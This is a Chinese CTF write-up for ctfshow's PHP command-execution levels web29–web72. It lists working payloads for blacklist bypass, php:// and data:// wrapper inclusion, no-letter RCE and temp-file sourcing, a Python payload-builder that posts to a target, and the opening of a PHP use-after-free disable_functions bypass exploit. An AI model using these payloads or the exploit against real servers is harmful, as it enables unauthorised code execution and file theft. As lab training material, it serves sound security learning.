Loading

命令执行

web29

题目考点:

黑名单绕过

做题过程:

image-20250126123101702

就是最简单的绕过,flag被过滤了,可以有很多方式绕过,这里就不列举

先查flag所在位置,payload为?c=system('ls');,这里注意要有分号,因为eval函数

image-20250126123437942

然后接着查,payload为?c=system('cat f*');

image-20250126123653149

没东西?看看源码

image-20250126123742559

web30

题目考点:

黑名单绕过

做题过程:

image-20250126124148456

system也被过滤了?我上passthru总行了吧

payload?c=passthru('ls');

image-20250126124356861

接着查

payload?c=passthru('cat fl*');

image-20250126124603910

在源码里面

image-20250126124628514

web31

题目考点:

黑名单绕过

做题过程:

image-20250126124834100

system被ban了,还是用passthru绕过,cat和sort不能用可以用tac,tail等,这里注意

payload为?c=passthru("tac\${IFS}fla*");

image-20250126125852747

然后用tac,这里注意空格被过滤了,那就用${IFS}绕过

这里注意需要用\,payload为?c=passthru("tac\${IFS}fla*");

这里如果去掉转义符号,会是错误的,因为一般在linux中转义符转义普通字符的时候,和普通字符的效果一样的,但是在转义特殊字符,例如\(时,\)不在表示变量

image-20250126143009051

web32

题目考点:

文件包含+php伪协议

做题过程:

image-20250126143417314

这题其实ban的不多,但是)被ban了,分号也不给用,几个常见的绕过都不行,只能考虑文件包含+php伪协议来做

?c=include$_GET[1]?>&1=php://filter/read=string.rot13/resource=flag.php

这里?c=include$_GET[1]?>是在php中执行include语句,并且文件路径是由$_GET[1]进行决定,因为分号被ban,所以用?>代替,即结束当前php代码块

后面传入参数1,通过伪协议读取flag的值,这里使用ro t13编码

image-20250126151408696

image-20250126151418488

image-20250126151433562

rot13是特殊的凯撒加密,即偏移值为13的凯撒加密,解密得到flag

这里也可以使用base64的过滤器,没什么差别、

web33

题目考点:

文件包含+php伪协议

做题过程:

image-20250126151725242

和上一题一样,过滤了好几个关键的字符,上题用的php伪协议中的过滤器,这题不如换种方法,用data://

?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

和上题一样这里?c=include$_GET[1]?>是在php中执行include语句,并且文件路径是由$_GET[1]进行决定,因为分号被ban,所以用?>代替,即结束当前php代码块

php会将data://text/plain,<?php system("tac flag.php")?>作为文件内容读取,然后php执行<?php system("tac flag.php")?>这个代码,进行flag的获取

image-20250126171502850

web34

题目考点:

文件包含+php伪协议

做题过程:

image-20250126174018240

还是和上面两题差不多的解法

?c=require$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

require 是 PHP 中的一个语言结构,用于引入文件,它在这个场景下被用来包含一个 PHP 文件,然后通过 $_GET 获取 a 参数的值,后面由于分号被过滤,使用?>进行php代码的闭合,从而起到替代分号的作用

然后就是利用php的伪协议,利用base64过滤器进行文件的读取

拿到内容之后解码即可得到flag

image-20250126174652461

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7MmQwOTcyNzMtMTQ5Mi00ODE1LTk2YWItMjRjNGUxMzZiNzIzfSI7DQo=

image-20250126174735729

拿到flag

web35

题目考点:

文件包含+php伪协议

做题过程:

image-20250126184513064

这题可以再换个方法,但是绕过的逻辑没变,通过php伪协议中php://input流来绕过

php://input当传进去的参数作为文件名变量去打开文件时,可以将参数file传参为php://input,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取

所以我们post传入<?php system('tac flag.php');?>进行flag的读取

但是不能用hackbar,因为似乎是因为POST没有按照key=value封装数据, 因此hackBar认为数据有问题, 不会发送数据, 可以使用Burp Suite发送数据

image-20250126185335698

web36

题目考点:

文件包含+php伪协议

做题过程:

image-20250126190604510

前面的payload都可以用,思路都是一样的

?c=require$_GET[a]?>&a=php://filter/read=string.rot13/resource=flag.php

因为数字被ban了,所以传参的时候注意设置,不要把参数名设置成数字就行

我就叠加了一下require和rot13编码

image-20250126191348147

image-20250126191359605

进行解码

image-20250126191439782

拿到flag

web37

题目考点:

文件包含+php伪协议

做题过程:

image-20250126192057915

这题与前面的区别最大的就是eval函数变成include了

并且没有过滤那么多东西,只有flag

这里其实也可以用前面data协议的方法,但是我看wp,其实解题思路都差不多,主要payload有点区别

但是不能用过滤器流,因为那样无法读取文件

?c=data://text/plain,<?php system("mv fla*.php 1.txt")?>

这里前半部分都一样,主要是system里面将flag.php的文件进行复制,复制到了1.txt里面

image-20250126193420085

然后访问/1.txt,出现flag

image-20250126193638494

web38

题目考点:

文件包含+php伪协议

做题过程:

image-20250126193949232

和上题差不多,多过滤了几个东西,这里依旧使用data协议,并且使用base64编码来绕过flag和php

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

base64解码的结果为<?php system('cat flag.php');?>

image-20250126194412786

web39

题目考点:

文件包含+php伪协议

做题过程:

image-20250126195156761

?c=data://text/plain,<?php system("tac f*");?>

这里使用*注释一下就行,绕过flag

具体的绕过思路和前面的差不多

image-20250126195826617

web40

题目考点:

无参数RCE

做题过程:

image-20250126200913961

这里ban了很多东西,常规的符号都不能用,包括单双引号等,这里是典型的无参数

无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,‘c’),不能带参数

?c=eval(array_pop(next(get_defined_vars())));
1=system("ls");

image-20250126203328125

?c=eval(array_pop(next(get_defined_vars())));
1=system("tac flag.php");

image-20250126203233286

web41

题目考点:

做题过程:

image-20250202113936942

无数字字母RCE,但是他过滤了挺多的关键字符$、+、-、^、~,并且忽略大小写

所以不能异或,自增,取反,

这题通过按位或运算和url编码进行绕过

因为如果直接提交system('cat flag.php'),会被正则表达式过滤,所以为了执行命令,必须要绕过正则表达式,需要利用php特性,这里按位或运算符没有被ban,故考虑按位或运算绕过+url编码

按位或运算

按位或运算(|)是一种绕过过滤的有效方法。

原理:通过对两个二进制数的每一位进行比较,并根据规则生成一个新的二进制数。

规则:

  • 如果两个对应位中 至少有一个是 1,则结果的该位为 1
  • 如果两个对应位都是 0,则结果的该位为 0

举例:

  • 字符 A 的 ASCII 码是 65(二进制:01000001
  • 字符 B 的 ASCII 码是 66(二进制:01000010
  • 按位或运算结果:01000011(即字符 C

通过遍历ASCII 码范围(0-255),找到未被正则表达式过滤的字符。然后我们需要写一个想要执行的命令,并对于每个目标字符,都找到两个未被过滤的字符,使得他们的按位或运算的结果是我们需要的目标字符,然后将生成的字符组合存储在列表中,供后续构造 Payload 使用。最后将其组合成完整的payload,这题还需要通过url编码绕过正则表达式对某些字符的过滤

这是我找的一个一体化脚本

import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
    for j in range(256):
        hex_i = '{:02x}'.format(i)
        hex_j = '{:02x}'.format(j)
        preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
        if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
            continue
        else:
            a = '%' + hex_i
            b = '%' + hex_j
            c = chr(int(a[1:], 16) | int(b[1:], 16))
            if 32 <= ord(c) <= 126:
                contents.append([c, a, b])
                //生成可用字符组合

def make_payload(cmd):
    payload1 = ''
    payload2 = ''
    for i in cmd:
        for j in contents:
            if i == j[0]:
                payload1 += j[1]
                payload2 += j[2]
                break
    payload = '("' + payload1 + '"|"' + payload2 + '")'
    return payload
//使用按位或运算(|)构造 Payload。


URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)
//向目标 URL 发送 POST 请求,提交构造的 Payload,并且获取服务器响应并输出结果。

image-20250202123006460

然后就能获得flag

注意:这里url输入的时候要改成http

web42

题目考点:

做题过程:

image-20250202135525778

通过get方式获取输入,并将输入的内容传递给system执行,但是为了防止命令执行的输出显示在页面上,代码将输出重定向到/dev/null2>&1: 将标准错误流(stderr,文件描述符 2)重定向到标准输出流(stdout,文件描述符 1)的当前位置。由于标准输出已经被重定向到 /dev/null,标准错误流也会被丢弃),即会丢弃命令的所有输出:

  • 丢弃命令的所有正常输出(stdout)。
  • 丢弃命令的所有错误输出(stderr)。

这里可以使用管道符进行绕过

管道符 (|) 可以将一个命令的输出作为另一个命令的输入。payload:

?c=ls | tee 1.txt(这个命令会将ls命令的输出写入1.txt文件。)

访问1.txt

image-20250202140007297

接着查询,payload:

?c=cat flag.php | tee 1.txt

访问1.txt

image-20250202140055335

补充:

image-20241113204128043

web43

题目考点:

做题过程:

image-20250202141137908

通过get方式获取输入,正则过滤了分号和cat,并将输入的内容传递给system执行,但是为了防止命令执行的输出显示在页面上,代码将输出重定向到/dev/null

可以利用命令分隔符进行绕过,tac查找flag

在linux中:%0a(回车) 、%0d(换行) 、; 、& 、| 、&&、||

payload为?c=ls%0a

image-20250202141632639

payload为?c=tac flag.php%0a

image-20250202141806806

web44

题目考点:

做题过程:

image-20250202142128847

通过get方式获取输入,正则过滤了分号和flag还有cat,并将输入的内容传递给system执行,但是为了防止命令执行的输出显示在页面上,代码将输出重定向到/dev/null

可以利用命令分隔符进行绕过,tac查找flag

payload为?c=ls%0a

image-20250202142322892

payload为?c=tac f*%0a

image-20250202142502776

web45

题目考点:

做题过程:

image-20250202142656824

通过get方式获取输入,正则过滤了分号和flag还有cat以及空格,并将输入的内容传递给system执行,但是为了防止命令执行的输出显示在页面上,代码将输出重定向到/dev/null

可以利用命令分隔符进行绕过,tac查找flag,${IFS}绕过空格

payload为?c=ls%0a

image-20250202143213309

payload为?c=tac${IFS}f*%0a

image-20250202143308355

web46

题目考点:

做题过程:

image-20250202143521005

分号,catflag,空格,数字,美元符号,星号都被过滤了

并且代码将输出重定向到/dev/null

payload为?c=ls%26%26(%26时&的url编码)

image-20250202144001840

利用<进行空格绕过,利用反引号进行flag绕过

payload为?c=tac<f``lag.php%26%26

image-20250202144322257

web47

题目考点:

做题过程:

image-20250202144631586

分号,catflag,空格,数字,美元符号,星号,morelessheadsorttail都被过滤了,而且被重定向了

可以按照上题的写法,tac依旧可以使用,<>代替空格

payload为?c=ls||

image-20250202145051438

payload为?c=tac<>fl\ag.php||

image-20250202145219915

web48

题目考点:

做题过 程:

image-20250202145542759

分号,catflag,空格,数字,美元符号,星号,morelessheadsorttailsedcutawkstringsodcurl都被过滤了,而且被重定向了

payload为?c=ls%26(%26是&的url编码结果)

image-20250202145815485

payload为?c=tac<fl""ag.php%26

image-20250202150101462

web49

题目考点:

做题过程:

image-20250202150354606

过滤了

分号 (;),catflag,空格 ( ),数字 ([0-9]),美元符号 ($),星号 (*),morelessheadsorttailsedcutawkstringsodcurl,反引号 ,百分号(%)

payload为?c=ls||

image-20250202150916717

payload为?c=tac<>fl''ag.php||

tac查找文件,<>绕过空格,''单引号绕过flag黑名单,||命令分隔符绕过重定向

image-20250202150945624

web50

题目考点:

做题过程:

image-20250202151745290

过滤了分号 (;),catflag,空格 ( ),数字 ([0-9]),美元符号 ($),星号 (*),morelessheadsorttailsedcutawkstringsodcurl,反引号 ,百分号(%),水平制表符 (\x09),& 符号 (\x26)

剩的没被过滤的越来越少,tac读取文件,<代替空格,

||命令分隔符,单引号绕过黑名单过滤

payload为?c=ls||

image-20250202153040271

payload为?c=tac<fl''ag.php||

image-20250202153114481

web51

题目考点:

做题过程:

image-20250202153609031

过滤了分号 (;),catflag,空格 ( ),数字 ([0-9]),美元符号 ($),星号 (*),morelessheadsorttailsedcutawkstringsodcurltac,反引号 ,百分号(%),水平制表符 (\x09),& 符号 (\x26)

tac都被过滤了

这里可以通过nl读取文件,<代替空格,||命令分隔符,单引号绕过黑名单过滤

payload为?c=ls||

image-20250202154409190

payload为?c=nl<fl''ag.php||

image-20250202154444114

看源码

image-20250202154540210

web52

题目考点:

做题过程:

image-20250202154817534

过滤了分号 (;),catflag,空格 ( ),数字 ([0-9]),星号 (*),morelessheadsorttailsedcutawkstringsodcurltac,反引号 ,百分号(%),水平制表符 (\x09),& 符号 (\x26),><

利用nl读取文件,$IFS代替空格,||命令分隔符,单引号绕过黑名单过滤

payload为?c=ls||

image-20250202155204166

接着查,但是查不到,源码里面也没有东西

看看根目录

payload为?c=ls$IFS/||

image-20250202160342431

payload为?c=nl$IFS/fl''ag||

image-20250202160635291

web53

题目考点:

做题过程:

image-20250202161103582

过滤了分号 (;),catflag,空格 ( ),数字 ([0-9]),星号 (*),morewgetlessheadsorttailsedcutawkstringsodcurltac,反引号 ,百分号(%),水平制表符 (\x09),& 符号 (\x26),><

${IFS}绕过空格,单引号绕过黑名单过滤,nl查看文件

payload为?c=ls

image-20250202161546385

payload为?c=nl${IFS}fl''ag.php

image-20250202161858672

web54

题目考点:

做题过程:

image-20250202162427929

过滤了分号 (;),catflag,空格 ( ),数字 ([0-9]),星号 (*),morewgetlessheadsorttailsedcutawkstringsodcurltacnlscprm,反引号 ,百分号(%),水平制表符 (\x09),& 符号 (\x26),><

这里利用?进行黑名单过滤的绕过(因为每个字符都会被匹配),uniq进行文件查看,${IFS}绕过空格

payload为?c=ls

image-20250202162849806

payload为?c=uniq${IFS}f???.php

image-20250202163131537

看源码

image-20250202163205216

web55

题目考点:

做题过程:

image-20250202163346581

过滤了分号,字母,反引号,制表符,&符号,大于号,小于号

典型的无字母RCE

法一

可以利用八进制编码转义

?c=$'\143\141\164'%20*

$'\143\141\164'是 Bash Shell 中的一种字符串表示方式,它使用八进制转义字符,会被解析成cat

image-20250202175500708

看源码

image-20250202175526187

法二

?c=/???/????64 ????.???
即/bin/base64 flag.php,通过通配符进行绕过

Shell(简称sh)是一种命令行解释器(类似windows下的命令行),是用户与操作系统之间的接口,它接收用户输入的命令并调用相应的程序来执行。在Linux系统中,Shell是非常重要的,因为几乎所有的系统管理任务都可以通过Shell来完成。

/bin/sh这个路径中的sh文件可以理解为一个小型程序,它可以解释用户输入的命令并执行相应的操作。在Linux系统中,使用bin sh命令可以启动Shell解释器,让用户可以通过命令行来与系统进行交互。

image-20250202175753371

然后进行解码

image-20250202175827832

web56

题目考点:

做题过程:

image-20250202180017561

字母,数字,以及 (;, $, (, {, ', ", %, \x09, \x26, >, <反引号)都被过滤了

无数字字母RCE,这里卡了好久,不太会操作主要

在 Linux 或类 Unix 系统中,. 是一个内建命令(也称为 "source" 命令),它用于执行指定文件中的命令。这个命令和 source 命令是等效的,二者的作用完全相同,如果,当前的shell是bash,那么.file就是用bash执行file文件中的命令

但是没有文件啊,此时就可以上传文件的POST包(很多php的题目都可以上传这种文件)该文件会保存在临时文件夹下,默认的目录结构是/tmp/phpXXXXXX,最后的六个字符是随机的。

但是该目录也包含字符,这题无数字字母,所以可以利用通配符?*

所以/tmp/phpXXXXXX可以写成/???/?????????

但是在Linux中这样的文件目录有很多,但都有一个共同点,都是小写字符,而只有php生成的临时文件包含大写字母,于是只要找到一个可以包含大写字母的glob通配符即可

image-20250211165518362

所有大写字母都在@-[之间,执行ls /???/??????[@-[],就是匹配从@-[之间的所有字符

我先在phpstudy上搭个上传文件的表单,这里还是贴个详细步骤吧

image-20250211162222723

然后管理->打开根目录

image-20250211162343683

新建一个index.php

并且编辑这个index.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,initialscale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
    <form action="http://35a6a0ce-150b-4c84-a87b-f62d61c52d64.challenge.ctf.show/" method="post"
          enctype="multipart/form-data">
        <label for="file>">⽂件名:</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="submit" value="提交">
    </form>
</body>
</html>

这时候点击管理->打开网站

image-20250211162635916

随便选个文件,提交

然后就会跳转到ctfshow开的那个环境,此时注意上面表单那个网址是http不是https

这时候就bp抓包,然后改一下host,把文件内容改掉

image-20250211162904086

主要可能第一次点会出现下图的情况,多点几次就行(也不排除你很背,要点n次)

image-20250211162951986

接着查,拿到flag

image-20250211163028495

如果不想用phpstudy搭建环境,可以把那个表单先写在html后缀的文件里,然后用Google打开就行,也是一样的效果

web57

题目考点:

做题过程:

image-20250211102105434

flag题目中已经说了在36.php,但是题目过滤了数字字母以及一些符号,很明显,不能通过编码进行查找了,并且system函数已经包含了cat以及php后缀,所以我们只需要传入36即可

这里参考了wp

image-20250211113436677

在linux中

  • $(()) 表示空运算,结果为0
  • $(( ~$(()))) 对0按位取反(~0,就是将他的二进制补码每个进行翻转),结果为-1

所以当每添加一个$((~$(()))),就相当于引入一个-1。并且在linux中$(()) 表示运算符计算,且默认相加

这题需要的是36,通过这个脚本可以得到

def generate_expression(num):
    if num <= 0:
        return "输入需为正整数"

    # 需要构建出 - (num + 1)
    negative_part = "".join(["$((~$(()) ))" for _ in range(num + 1)])
    # 整体再取反得到num
    result_expr = f"$((~({negative_part})))"
    return result_expr

# 获取用户输入
user_input = input("请输入一个数字: ")
try:
    number = int(user_input)
    result_expression = generate_expression(number)
    print(result_expression)
except ValueError:
    print("请输入有效的整数!")

image-20250211114859042

$((~($((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) ))$((~$(()) )))))

image-20250211114959880

传参之后看源码

image-20250211115025867

拿到flag

web58

题目考点:

做题过程:

image-20250211115347597

这里调用了eval函数,所以我们post的语句必须以分号结尾

image-20250211115752512

想要查询flag位置,结果system被禁用,后面我又试了好几个执行函数,都被禁用了

解法一:

看了下wp,因为eval在php里面是执行代码层面的函数,他无法直接执行linux命令。因此为了绕过过滤就使用include或者require加伪协议绕过进行文件的读取

c=require($_POST['a']);&a=php://filter/convert.base64-encode/resource=flag.php
注意这里require可以换成include,也可以用rot13编码,看个人喜好

image-20250211121108223

image-20250211121135173

解法二:

调用show_source()

c=show_source('flag.php');

show_source() 是一个PHP内置函数,通常用来显示指定PHP文件的源代码。它可以用来查看文件的原始内容,通常用于调试或者分析文件内容。

show_source(string $filename, int $highlight = true)

$filename:文件的路径,指定要查看源代码的PHP文件。

$highlight:可选参数,默认为 true,表示会将源代码进行语法高亮处理。

image-20250211121316467

因为这个,我多想到一个函数也有类似功能,并且题目就用的

c=highlight_file('flag.php');

highlight_file() 是一个PHP内置函数,类似于 show_source(),但是它在显示源代码的同时,会对PHP源代码进行语法高亮处理,方便开发人员或用户查看代码时更容易识别代码结构。

highlight_file(string $filename, bool $return = false): string|bool

$filename:要显示源代码的文件路径。

$return:可选参数,默认值为 false,表示直接输出源代码。如果设置为 true,则返回语法高亮处理后的代码,而不是直接输出。

image-20250211122751829

解法三:

使用无参数读取 show_source(array_rand(array_flip(scandir(getcwd())))) #array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组 多post几次就出来了,也可以指定读取,

解法四:

echo file_get_contents('flag.php');

这个函数没被禁,但是后面两题读取文件这个都被禁了

web59

题目考点:

做题过程:

image-20250211123124117

其实上题也应该扫描的

这里提供两种方法

铺垫一:

image-20250211123511777

如上图,dirsearch扫出来flag.php

铺垫二:

print_r(scandir(dirname('FILE')));

dirname('FILE')

dirname() 是一个PHP函数,用于返回给定路径的目录部分。'FILE' 是一个PHP预定义常量,表示当前脚本的文件路径。因此,dirname('FILE') 返回的是当前脚本所在的目录路径,而不是 'FILE' 字符串本身。

scandir(dirname('FILE'))

scandir() 是一个PHP函数,它用于扫描指定目录,并返回该目录中的所有文件和文件夹。scandir(dirname('FILE')) 的作用是获取当前脚本所在目录的所有文件和文件夹列表。

print_r(scandir(dirname('FILE')))

print_r() 是一个PHP函数,用于打印数组或对象的结构和内容。print_r(scandir(dirname('FILE'))) 会打印出 scandir() 返回的目录列表内容,以便查看当前目录中的文件和文件夹。

image-20250211132804218

方法一:

image-20250211133434524

这里不多做解释,这题和上题一样,我只是换了上题的payload

include($_POST['a']);&a=php://filter/string.rot13/resource=flag.php

image-20250211133704499

这里rot13就是凯撒加密偏移13位,直接解密,得到flag

image-20250211133816247

方法二:

直接读取,也是调用两种函数都可以

show_source('flag.php');

image-20250211134053431

highlight_file('flag.php');

image-20250211134326155

web60

题目考点:

做题步骤:

image-20250211135028257

依旧是调用eval函数,并且和前面一样,system被禁用了

image-20250211135528610

和前面题目感觉一样,没发现什么特别的,就不展示多种解法了。

show_source(array_rand(array_flip(scandir(getcwd()))));

这里记得多post几次

web61

题目考点:

做题过程:

image-20250211140919586

还是一样的题,好几种办法都能做,可以看前面的多种解法,这里就不多做展示了

show_source('flag.php');

image-20250211140823124

web62

题目考点:

做题过程:

image-20250211141407890

和前面题目没感觉有什么不同,这里也不用多种方法了

highlight_file('flag.php');

还是高亮文件这个函数也可以

image-20250211141351295

web63

题目考点:

做题过程:

image-20250211142031933

还是一样的,已经麻木了,不过发现了新操作

include('flag.php');echo $flag;

include('flag.php');:该语句将 flag.php 文件包含到当前的PHP文件中。也就是说,PHP会执行 flag.php 文件中的代码,并把它嵌入到当前位置。

echo $flag;:该语句会输出变量 $flag 的值。

image-20250211142308480

web64

题目考点:

做题过程:

image-20250211170341698

和之前题目一样,但是我看了视频,发现了多种方法

include("flag.php");var_dump(get_defined_vars());

include("flag.php");

flag.php 文件的内容引入到当前的 PHP 文件中并执行。include 会执行 flag.php 文件中的代码,所以 flag.php 中定义的变量、函数、类等都会在当前 PHP 环境中生效。

var_dump(get_defined_vars());

get_defined_vars() 是 PHP 的一个内置函数,它返回当前脚本中 所有已定义的变量 的数组(包括局部变量、全局变量、超级全局变量等),var_dump() 函数用于输出一个变量的详细信息,包括其数据类型和值。

因此,var_dump(get_defined_vars()); 会输出当前脚本中所有已定义变量的信息。

这串命令运行的过程是

  1. include("flag.php"); 会将 flag.php 中的 $flag 变量导入到当前脚本中。
  2. get_defined_vars() 会返回当前脚本中的所有已定义变量,包括通过 include 引入的变量。
  3. var_dump() 会输出这些变量的信息。

image-20250211170427052

web65

题目考点:

做题过程:

image-20250211191411238

本来想用重命名的,结果被ban了,前面的题目可能没被ban

rename('flag.php','1.txt');

image-20250214134333147

那就还用之前的payload,

highlight_file('flag.php');

image-20250214135613062

web66

题目考点:

做题过程:

image-20250214140013105

本来想试试show_source的,结果被ban了

image-20250214135954972

换高亮文件呢

highlight_file('flag.php');

不在这?

image-20250214140254367

那就看看当前目录吧

var_dump(scandir("."));

image-20250214140828314

没看出什么特别的,看看上一级目录

var_dump(scandir("../"));

image-20250214141007622

也没有,换根目录再找找

var_dump(scandir("/"));

image-20250214141141093

找到了,那就读文件

highlight_file("/flag.txt");

image-20250214141333502

web67

题目考点:

做题过程:

image-20250214142021223

highlight_file('flag.php');

highlight结果不在这里

image-20250214141937929

那就找目录,看看根目录

print_r(scandir("/"));

image-20250214142321169

被ban了,换个函数吧

var_dump(scandir("/"));

image-20250214142456488

找到了,在根目录,读文件

highlight_file("/flag.txt");

image-20250214142634108

web68

题目考点:

做题过程:

image-20250214143249593

打开就是这样,highlight被ban了

先看看flag.php

include('flag.php');echo $flag;

image-20250214143540863

扫目录,发现

var_dump(scandir('/'));

image-20250214143731814

include('/flag.txt');

image-20250214143836899

web69

题目考点:

做题过程:

image-20250214150142163

highlight被ban了

看看flag.php

include('flag.php');echo $flag;

image-20250214151113388

当前目录的没有,看看根目录吧

var_dump(scandir("/"));

image-20250214151253358

又被ban了???再换

var_export(scandir("/"));

image-20250214151416970

那应该在flag.txt里面了

readgzfile('/flag.txt');

image-20250214151738583

web70

题目考点:

做题过程:

image-20250214152023349

ban了好几个,看看当前目录

echo(implode("--",scandir(".")));
/*scandir("."):返回指定目录(此处为当前目录)的文件和文件夹列表。
implode("--", ...):将 scandir() 返回的目录内容数组连接成一个字符串,每个元素之间用 -- 分隔。
echo(...):输出这个字符串。*/

image-20250214152400616

看看根目录

echo(implode("--",scandir("/")));

image-20250214152342116

读文件

c=readgzfile('/flag.txt');

image-20250214152555120

web71

题目考点:

做题过程:

image-20250214152928126

下载附件,这是附件内容

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

image-20250214153314288

查了一下,ob_get_contents()ob_end_clean()这两个函数捕获输出缓冲中的内容并清空缓冲区

所以这串代码执行过程是:

  • 提交一个POST请求,参数是c
  • 然后这个参数被直接传递给eval函数执行
  • 执行后,用ob_get_contents获取输出缓冲区的内容
  • 然后用ob_end_clean清除缓冲区之后
  • preg_replace把所有的数字和字母(无论大小写)替换成问号,然后输出

所以是不是可以关闭缓冲区或者绕过ob_get_contents的捕获?因为源码中用了ob_get_contents来获取eval执行后的输出,然后处理。但如果在eval的代码中关闭输出缓冲,或者提前结束脚本执行,可能就不会执行到后面的preg_replace部分,这时可以考虑exit函数和die函数,使得eval执行之后立即终止脚本,从而绕过后续的替换

var_export(scandir('.'));exit();

image-20250214154844362

看看这里面有没有flag吧

include('flag.php');echo $flag;exit();

image-20250214155008560

那就看看根目录

var_export(scandir('/'));exit();

image-20250214155123236

接着看看这个文件

include('/flag.txt');exit();

image-20250214155226634

web72

题目考点:

做题过程:

image-20250214155353946

下载源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

和上一题差不多,突破点就是解决缓冲区被清空替换的问题,不过应该ban了其他的东西

image-20250214160647863

查根目录吧直接

var_export(scandir('/'));exit();

image-20250214161037303

设置了不给访问根目录,那我就看看当前目录吧

var_export(scandir('.'));exit();

image-20250214161452347

但是flag不在这个当前目录的文件里

include('flag.php');echo $flag;die();

image-20250214161637478

这里根目录被disable_functions设置不被允许访问

但是glob可以遍历目录,并且不受r的限制。

我们构造

?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();?>

其实就是执行了一个php语句,首先glob查找根目录下的所有目录(glob:// /*这样更加清楚些)。然后循环执行并输出给\(f,在输出\)f。

image-20250214163402015

读取文件

readgzfile('/flag0.txt');die();

image-20250214163545314

读取不了这个文件,因为open_basedir的限制,无法访问flag0.txt。

这个需要使用uaf绕过,这是一个通用脚本

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) {

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) {
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

